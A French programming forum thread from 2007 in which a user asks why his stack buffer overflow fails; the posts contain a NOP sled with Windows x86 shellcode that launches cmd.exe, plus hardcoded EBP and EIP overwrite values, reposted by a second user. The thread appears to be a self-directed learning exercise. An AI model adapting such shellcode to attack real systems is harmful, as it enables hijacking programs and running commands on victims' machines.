Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

Sujet : Buffer Overflow [ Divers / Divers ] (david_fryda)

dimanche 21 janvier 2007 à 15:10:00 | Buffer Overflow

david_fryda

Salut a tous,

J'essaies en vain de provoquer un depassement de memoire dans un buffer que j'ai cree.

Voici le code :

char buf[120];

LoadLibrary("msvcrt.dll");

strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01" //EBP

"\xA7\xFE\x12\x00"); //EIP


Le code qui y est injecte doit normalement creer un command en executant cmd.exe.
Si j'ai bien compris, mon EIP doit pointer sur l'addresse memoire de mon buffer ou commence le code c'est a dire apres le dernier 0x90.
Entre autre l'address EBP ne doit pas contenire valeur NULL. Donc je ne peut utiliser comme addresse 0x0012FEA6. Comment faut-il que je trouve une place dans la memoire ou je puisse executer les op-codes sauvegardes dans mon buffer ?

Lorsque je tente de faire un push a l'addresse 0x01010101, je recois un message d'erreur.

Quelqu'un pourrait-il m'aider...ou au moins me mettre dans la bonne direction ?

Merci d'avance.


David Fryda

dimanche 28 janvier 2007 à 10:55:49 | Re : Buffer Overflow

MorbhAck

Tu est obligé de passer par strcpy ?

char buf[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01"

"\xA7\xFE\x12\x00";


mardi 30 janvier 2007 à 13:11:25 | Re : Buffer Overflow

david_fryda

Salut,

Je ne suis pas oblige de passer par strcpy.
Disons que j'insere les opcode directement dans le buf et que j'execute le programme victime en utilisant WinExec.

Le shell code utilise la dll msvcrt.dll.

Faut-il ecrire dans mon code LoadLibrary("msvcrt.dll") ou bien faut-il que le code victime load la dll ?

Merci

David Fryda



Cette discussion est classé dans : buffer, x01, x90, x45, xc6


Répondre à ce message

Sujets en rapport avec ce message

explication d'un exploit [ par dyroj ] salut a tous,je voudrais qu'on mexplique a quoi sert cette exploit, j'ai bien compri qu'il execute un shell mais je pourai faire la meme chose avec : fermer une thread qui est en attente fgets() en c sous windXP [ par dyroj ] Bonjour a tous,je n'arrive pas fermer une thread qui est en attende avec la fonction fgets(),thread a quitter :DWORD WINAPI Tsend_ms_t(LPVOID lpvoid){ gets() marche plus apres fermeture de thread [ par dyroj ] bonjour, est-il normale que fgets() block quand on lapele plus dune foi, //envoi en mode tcp WINA verification de code [ par dyroj ] salut a tous,je voudrai savoir si il y a des faute au niveu de la fonction select() et si je suis obliger de metre sock+1 au lieu de sock dans se peti analyseur lexical pascal [ par perrotta ] Bonjour, dsl pour ma langue je parle pas bien le français; je suis entrin de devlopper un analyseur lexical pour un programme (pascal) prèci ,et j'ai Client / Serveur => Je m'enmèle les pinceaux avec le buffer, les boucles etc. [C] [ par matad0r ] Bonjour, bonjour!J'ai récemment créé une petite application client/serveur de rien du tout (je suis débutant), en m'aidant de ça : http://c.developpez buffer [ par Hous30 ] Bonjour, Pour mon projet de fin d'année je dois recupérer des données dans un buffer en c++ programmer sous visual studio. Ces données sont des coordo accès a une url [ par NnGgHh ] Bonjour, je suis actuellement au bout de la crise de nerfs : je cherche a utiliser, dans mon programme en C++ fonctionnant sous MAC, une image dont je CreateProcess et processus infini [ par Rankin ] Salut à tous,Je suis en train de développer une appli qui lance pas mal de commandes système pour récupérer notamment la configuration du réseau. Pour Comment utiliser un buffer [ par sofoot ] Bonjour,Je travail sous C++Builder 6 et je souhaite faire communiquer un système (un monnayeur) avec mon pc via un port COM. Afin de récupérer les inf


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Téléchargements

Logiciels à télécharger sur le même thème :

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,468 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.